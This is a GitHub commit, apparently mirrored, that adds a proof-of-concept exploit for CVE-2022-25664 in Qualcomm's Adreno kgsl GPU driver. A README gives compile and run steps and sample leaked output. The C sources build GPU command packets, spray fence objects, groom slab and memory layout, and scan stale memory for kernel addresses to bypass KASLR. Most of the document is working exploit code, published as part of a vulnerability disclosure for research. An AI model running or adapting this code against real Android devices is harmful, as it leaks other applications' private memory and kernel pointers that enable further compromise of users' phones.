Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 3cd53e1

Browse files
committed
Initial commit.
1 parent ebcb82c commit 3cd53e1

File tree

9 files changed

+1239
-0
lines changed

9 files changed

+1239
-0
lines changed
Lines changed: 48 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,48 @@
1+
## CVE-2022-25664
2+
3+
The write up can be found [here](https://github.blog/2023-02-23-the-code-that-wasnt-there-reading-memory-on-an-android-device-by-accident). This is a bug in the Qualcomm kgsl driver that I reported in December 2021. The bug can be used to leak information in other user apps, as well as in the kernel from an untrusted app.
4+
5+
The directory `adreno_user` contains a proof-of-concept for leaking memory from other applications. It'll repeatedly trigger the bug and read the stale information contained in memory pages. There is no telling or control over what information is being leaked. To test this, compile with the following command:
6+
7+
```
8+
aarch64-linux-android30-clang -O2 adreno_user.c -o adreno_user
9+
```
10+
11+
and then push `adreno_user` to the device and run it. It should print out non zero memory content:
12+
13+
```
14+
flame:/ $ /data/local/tmp/adreno_user
15+
hexdump(0x50000000, 0x190)
16+
00000000 0d 00 00 00 00 00 00 00 22 55 00 00 00 00 00 00 |........"U......|
17+
00000010 fb 84 67 b5 73 00 00 b4 e0 84 67 b5 73 00 00 b4 |..g.s.....g.s...|
18+
00000020 00 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 |................|
19+
00000030 b0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
20+
00000040 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................|
21+
00000050 cb e9 67 e5 73 00 00 b4 00 00 00 00 00 00 00 00 |..g.s...........|
22+
00000060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
23+
00000070 90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
24+
00000080 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
25+
00000090 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
26+
000000a0 fb 84 67 b5 73 00 00 b4 e0 84 67 b5 73 00 00 b4 |..g.s.....g.s...|
27+
.......
28+
```
29+
30+
The directory `adreno_kernel` contains a proof-of-concept for leaking kernel information for KASLR bypass. It'll repeatedly trigger the bug and tries to leak kernel addresses. Depending on whether the device is running kernel branch 4.x or 5.x, the Macro `KERNEL_BRANCH` in `adreno_kernel.c` should be set to either `4` or `5`.
31+
32+
To test, compile with
33+
34+
```
35+
aarch64-linux-android30-clang adreno_kernel.c adreno_cmd.c kgsl_utils.c -O3 -o adreno_kernel
36+
```
37+
38+
and then run it on the device. If successful, it should print out the kernel addresses of some objects and functions:
39+
40+
```
41+
flame:/ $ /data/local/tmp/adreno_kernel
42+
found dma fence object:
43+
kgsl_syncsource_fence_ops address: ffffff9daaea8b48
44+
object address: fffffffe116100a0
45+
syncsource address: fffffffe0b244480
46+
```
47+
48+
It has been tested on a number of devices. The time it takes (depends on the success rate of a single leak) varies across devices. It is relatively quick Pixel 4, but takes longer on the Samsung Z flip 3.
Lines changed: 76 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,76 @@
1+
#include "adreno_cmd.h"
2+
3+
uint cp_gpuaddr(uint *cmds, uint64_t gpuaddr)
4+
{
5+
uint *start = cmds;
6+
7+
*cmds++ = lower_32_bits(gpuaddr);
8+
*cmds++ = upper_32_bits(gpuaddr);
9+
10+
return cmds - start;
11+
}
12+
13+
uint pm4_calc_odd_parity_bit(uint val) {
14+
return (0x9669 >> (0xf & ((val) ^
15+
((val) >> 4) ^ ((val) >> 8) ^ ((val) >> 12) ^
16+
((val) >> 16) ^ ((val) >> 20) ^ ((val) >> 24) ^
17+
((val) >> 28)))) & 1;
18+
}
19+
20+
uint cp_type7_packet(uint opcode, uint cnt) {
21+
return CP_TYPE7_PKT | ((cnt) << 0) |
22+
(pm4_calc_odd_parity_bit(cnt) << 15) |
23+
(((opcode) & 0x7F) << 16) |
24+
((pm4_calc_odd_parity_bit(opcode) << 23));
25+
}
26+
27+
uint cp_wait_for_me(
28+
uint *cmds)
29+
{
30+
uint *start = cmds;
31+
32+
*cmds++ = cp_type7_packet(CP_WAIT_FOR_ME, 0);
33+
34+
return cmds - start;
35+
}
36+
37+
uint cp_mem_packet(int opcode, uint size, uint num_mem) {
38+
return cp_type7_packet(opcode, size + num_mem);
39+
}
40+
41+
uint cp_wait_for_idle(
42+
uint *cmds)
43+
{
44+
uint *start = cmds;
45+
46+
*cmds++ = cp_type7_packet(CP_WAIT_FOR_IDLE, 0);
47+
48+
return cmds - start;
49+
}
50+
51+
uint cp_type4_packet(uint opcode, uint cnt)
52+
{
53+
return CP_TYPE4_PKT | ((cnt) << 0) |
54+
(pm4_calc_odd_parity_bit(cnt) << 7) |
55+
(((opcode) & 0x3FFFF) << 8) |
56+
((pm4_calc_odd_parity_bit(opcode) << 27));
57+
}
58+
59+
uint cp_register(
60+
unsigned int reg, unsigned int size)
61+
{
62+
return cp_type4_packet(reg, size);
63+
}
64+
65+
uint cp_invalidate_state(
66+
uint *cmds)
67+
{
68+
uint *start = cmds;
69+
70+
*cmds++ = cp_type7_packet(CP_SET_DRAW_STATE, 3);
71+
*cmds++ = 0x40000;
72+
*cmds++ = 0;
73+
*cmds++ = 0;
74+
75+
return cmds - start;
76+
}
Lines changed: 40 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
#ifndef ADRENO_CMD_H
2+
#define ADRENO_CMD_H
3+
4+
#include <unistd.h>
5+
6+
#define CP_TYPE4_PKT (4 << 28)
7+
#define CP_TYPE7_PKT (7 << 28)
8+
9+
#define CP_NOP 0x10
10+
#define CP_WAIT_FOR_ME 0x13
11+
#define CP_WAIT_FOR_IDLE 0x26
12+
#define CP_WAIT_REG_MEM 0x3c
13+
#define CP_MEM_WRITE 0x3d
14+
#define CP_INDIRECT_BUFFER_PFE 0x3f
15+
#define CP_SET_DRAW_STATE 0x43
16+
#define CP_MEM_TO_MEM 0x73
17+
#define CP_SET_PROTECTED_MODE 0x5f
18+
19+
#define upper_32_bits(n) ((uint32_t)(((n) >> 16) >> 16))
20+
#define lower_32_bits(n) ((uint32_t)(n))
21+
22+
uint cp_gpuaddr(uint *cmds, uint64_t gpuaddr);
23+
24+
uint pm4_calc_odd_parity_bit(uint val);
25+
26+
uint cp_type7_packet(uint opcode, uint cnt);
27+
28+
uint cp_wait_for_me(uint *cmds);
29+
30+
uint cp_mem_packet(int opcode, uint size, uint num_mem);
31+
32+
uint cp_wait_for_idle(uint *cmds);
33+
34+
uint cp_type4_packet(uint opcode, uint cnt);
35+
36+
uint cp_register(unsigned int reg, unsigned int size);
37+
38+
uint cp_invalidate_state(uint *cmds);
39+
40+
#endif
Lines changed: 225 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,225 @@
1+
#include <err.h>
2+
#include <errno.h>
3+
#include <sys/types.h>
4+
#include <sys/stat.h>
5+
#include <fcntl.h>
6+
#include <unistd.h>
7+
#include <sys/ioctl.h>
8+
#include <sys/mman.h>
9+
#include <errno.h>
10+
#include <time.h>
11+
#include <poll.h>
12+
#include <sys/syscall.h>
13+
#include <string.h>
14+
#include <stdio.h>
15+
#include <stdlib.h>
16+
#include <stdbool.h>
17+
#include <sched.h>
18+
#include <linux/aio_abi.h>
19+
20+
21+
#include "kgsl_utils.h"
22+
#include "adreno_cmd.h"
23+
#include "dma_search.h"
24+
25+
#define CMD_SIZE 4
26+
27+
#define OBJS_PER_SLAB (0x1000/OBJECT_SIZE)
28+
29+
#define CPU_PARTIAL 30
30+
31+
#define MMAP_SPRAY 1000
32+
33+
#define OBJ_SPRAY 10000
34+
35+
#define CPU_SETSIZE 1024
36+
#define __NCPUBITS (8 * sizeof (unsigned long))
37+
typedef struct
38+
{
39+
unsigned long __bits[CPU_SETSIZE / __NCPUBITS];
40+
} cpu_set_t;
41+
42+
#define CPU_SET(cpu, cpusetp) \
43+
((cpusetp)->__bits[(cpu)/__NCPUBITS] |= (1UL << ((cpu) % __NCPUBITS)))
44+
#define CPU_ZERO(cpusetp) \
45+
memset((cpusetp), 0, sizeof(cpu_set_t))
46+
47+
#define KERNEL_BRANCH KERNEL_4
48+
49+
void migrate_to_cpu(int i)
50+
{
51+
int syscallres;
52+
pid_t pid = gettid();
53+
cpu_set_t cpu;
54+
CPU_ZERO(&cpu);
55+
CPU_SET(i, &cpu);
56+
57+
syscallres = syscall(__NR_sched_setaffinity, pid, sizeof(cpu), &cpu);
58+
if (syscallres)
59+
{
60+
err(1, "Error in the syscall setaffinity");
61+
}
62+
}
63+
64+
static uint32_t* map_anon(int kgsl_fd, uint64_t* addr, size_t size) {
65+
uint32_t* out = NULL;
66+
out = (uint32_t*)mmap(NULL, size, PROT_READ|PROT_WRITE,
67+
MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
68+
if (out == MAP_FAILED) {
69+
err(1, "shared_mem_buf failed");
70+
}
71+
int ret = kgsl_map(kgsl_fd, (unsigned long)out, size, addr, 0);
72+
73+
if (ret == -1) {
74+
err(1, "kgsl_map failed %p\n", out);
75+
}
76+
return out;
77+
}
78+
79+
static uint32_t write_gpu_cmd(uint32_t* write_cmd_buf, uint64_t shared_mem_gpuaddr, uint32_t n) {
80+
uint32_t* write_cmds;
81+
82+
write_cmd_buf = write_cmd_buf + 0x1000/CMD_SIZE - 5;
83+
84+
write_cmds = write_cmd_buf;
85+
86+
*write_cmds++ = cp_type7_packet(CP_NOP, 1);
87+
*write_cmds++ = 0xffffffff;
88+
89+
*write_cmds++ = cp_type7_packet(CP_MEM_WRITE, 2 + n);
90+
91+
write_cmds += cp_gpuaddr(write_cmds, shared_mem_gpuaddr);
92+
93+
return (write_cmds - write_cmd_buf + n) * CMD_SIZE;
94+
}
95+
96+
97+
static int io_setup(unsigned nr, aio_context_t *ctxp)
98+
{
99+
return syscall(__NR_io_setup, nr, ctxp);
100+
}
101+
102+
static int io_destroy(aio_context_t ctx)
103+
{
104+
return syscall(__NR_io_destroy, ctx);
105+
}
106+
107+
int find_address() {
108+
uint32_t *write_cmd_buf;
109+
uint64_t *shared_mem_buf;
110+
void *shared_mem_buf2;
111+
uint64_t shared_mem_gpuaddr2;
112+
uint32_t n = 2048;
113+
uint64_t shared_mem_size = 0x2000;
114+
uint32_t cmd_size;
115+
uint64_t write_cmd_gpuaddr = 0;
116+
uint64_t shared_mem_gpuaddr = 0;
117+
uint64_t hole_size = 0x1000;
118+
int fds[OBJS_PER_SLAB * CPU_PARTIAL];
119+
int spray_fds[OBJ_SPRAY];
120+
121+
int fd = open("/dev/kgsl-3d0", O_RDWR);
122+
123+
if (fd == -1) {
124+
err(1, "cannot open kgsl");
125+
}
126+
127+
uint32_t ctx_id;
128+
if (kgsl_ctx_create(fd, &ctx_id)) {
129+
err(1, "kgsl_ctx_create failed.");
130+
}
131+
132+
struct kgsl_syncsource_create syncsource = {0};
133+
if (ioctl(fd, IOCTL_KGSL_SYNCSOURCE_CREATE, &syncsource) < 0) {
134+
err(1, "unable to create syncsource\n");
135+
}
136+
137+
for (int i = 0; i < OBJ_SPRAY; i++) {
138+
struct kgsl_syncsource_create_fence create_fence = {.id = syncsource.id};
139+
if (ioctl(fd, IOCTL_KGSL_SYNCSOURCE_CREATE_FENCE, &create_fence) < 0) {
140+
err(1, "Failed to create fence");
141+
}
142+
spray_fds[i] = create_fence.fence_fd;
143+
}
144+
145+
for (int i = 0; i < CPU_PARTIAL * OBJS_PER_SLAB; i++) {
146+
struct kgsl_syncsource_create_fence create_fence = {.id = syncsource.id};
147+
if (ioctl(fd, IOCTL_KGSL_SYNCSOURCE_CREATE_FENCE, &create_fence) < 0) {
148+
err(1, "Failed to create fence");
149+
}
150+
fds[i] = create_fence.fence_fd;
151+
}
152+
153+
shared_mem_buf = (uint64_t*)map_anon(fd, &shared_mem_gpuaddr, shared_mem_size);
154+
write_cmd_buf = map_anon(fd, &write_cmd_gpuaddr, 0x1000);
155+
uint64_t write_cmd_gpuaddr_start = write_cmd_gpuaddr;
156+
157+
write_cmd_gpuaddr = write_cmd_gpuaddr + 0x1000 - 5 * CMD_SIZE;
158+
159+
uint32_t* write_cmd_buf_start = write_cmd_buf;
160+
cmd_size = write_gpu_cmd(write_cmd_buf, shared_mem_gpuaddr, n);
161+
162+
usleep(50000);
163+
void* hole = mmap(NULL, hole_size, PROT_READ, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
164+
shared_mem_buf2 = mmap(NULL, 0x1000, PROT_READ, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
165+
166+
if (shared_mem_buf2 == MAP_FAILED) {
167+
err(1, "shared_mem_buf2 failed");
168+
}
169+
170+
munmap(hole, hole_size);
171+
aio_context_t ctx = 0;
172+
uint32_t nr_events = 32;
173+
174+
migrate_to_cpu(0);
175+
for (int i = 0; i < OBJS_PER_SLAB; i++) {
176+
close(fds[i + (CPU_PARTIAL - 1) * OBJS_PER_SLAB]);
177+
}
178+
179+
for (int i = 0; i < (CPU_PARTIAL - 1); i++) {
180+
close(fds[i * OBJS_PER_SLAB]);
181+
}
182+
183+
if (io_setup(nr_events, &ctx) < 0) err(1, "io_setup error\n");
184+
if (kgsl_map(fd, (unsigned long) shared_mem_buf2, shared_mem_size, &shared_mem_gpuaddr2, 1) == -1) {
185+
err(1, "kgsl_map failed (shared_mem_buf2)");
186+
}
187+
188+
if (kgsl_gpu_command_payload(fd, ctx_id, 0, cmd_size, 1, 0, write_cmd_gpuaddr, cmd_size)) {
189+
err(1, "gpu_command failed.");
190+
}
191+
usleep(150000);
192+
if (shared_mem_gpuaddr2 != write_cmd_gpuaddr_start + 0x1000) {
193+
err(1, "wrong address layout shared_mem_gpuaddr2 %lx write_cmd_gpuaddr %lx\n", shared_mem_gpuaddr2, write_cmd_gpuaddr);
194+
}
195+
if (ctx != (uint64_t)shared_mem_buf2 + 0x1000) {
196+
err(1, "wrong address layout shared_mem_buf2 %p ctx %lx\n", shared_mem_buf2, ctx);
197+
}
198+
199+
int ret = dma_search(shared_mem_buf + 0x1000/8, 0x1000/8, KERNEL_BRANCH);
200+
if (ret == -1) {
201+
io_destroy(ctx);
202+
munmap(shared_mem_buf2, 0x1000);
203+
munmap(shared_mem_buf, 0x2000);
204+
munmap(write_cmd_buf, 0x1000);
205+
for (int i = 0; i < (CPU_PARTIAL * OBJS_PER_SLAB); i++) close(fds[i]);
206+
for (int i = 0; i < OBJ_SPRAY; i++) close(spray_fds[i]);
207+
close(fd);
208+
}
209+
return ret;
210+
}
211+
212+
int main() {
213+
214+
for (int i = 0; i < MMAP_SPRAY; i++) {
215+
mmap(NULL, 0x1000,PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
216+
}
217+
int success = -1;
218+
int counter = 0;
219+
while (success == -1) {
220+
success = find_address();
221+
counter++;
222+
if (counter % 20 == 0) printf("failed after %d\n", counter);
223+
}
224+
225+
}

0 commit comments

Comments
 (0)